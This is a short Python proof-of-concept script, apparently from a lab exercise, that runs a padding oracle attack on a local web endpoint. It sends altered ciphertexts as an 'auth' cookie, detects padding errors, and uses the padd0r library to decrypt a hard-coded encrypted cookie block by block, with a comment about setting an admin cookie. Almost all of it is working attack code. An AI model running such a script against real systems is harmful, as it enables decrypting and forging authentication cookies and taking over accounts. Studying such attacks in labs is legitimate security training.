poc_po1.py 1.4 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647
  1. from base64 import b64encode, b64decode
  2. from padd0r import PaddingOracle, Encoding
  3. import requests
  4. import logging
  5. # disable logging
  6. logging.getLogger("requests").setLevel(logging.CRITICAL)
  7. logging.getLogger("urllib3").setLevel(logging.WARNING)
  8. # Set the admin cookie!
  9. admin_cookie = ""
  10. def oracle(ct):
  11. url = "http://127.0.0.1:5000/po1"
  12. data = {
  13. "auth":b64encode(ct).decode("utf-8")
  14. }
  15. text = requests.get(url, cookies=data).text
  16. # distinguish between a padding error and a valid padding
  17. # dont forget to return true on a valid padding and false on a wrong padding
  18. if "PaddingError" in text:
  19. return False
  20. return True
  21. ac = "jAJBizDAZZLtRw4WEM2Q4DFZeRbeQX791w5fis8Pyx2nXI8NpxpUHffLw67fIHEH+mrGDs81tyASQGKII6jyIq4u3iFYUap73xd4Xt+E0Cw5aJHuEc/OKNeCSQRrY6+nFcCg//304sx9y2wJDqT9pYOdxbGdca0OgmHSAzodx9g="
  22. def decrypt(cookie):
  23. # ciphertext
  24. # verbosity can be 1 or 2
  25. # which encodings are realistic?
  26. # pass the oracle functions as parameter
  27. po = PaddingOracle(cookie, BS=16, verbosity=2, encoding=Encoding.b64, oracle=oracle)
  28. po.set_output("hex")
  29. # decrypt the blocks
  30. po.decrypt_all_blocks()
  31. #po.decrypt_last_block()
  32. #po.decrypt_block_at_index(7)
  33. decrypt(ac)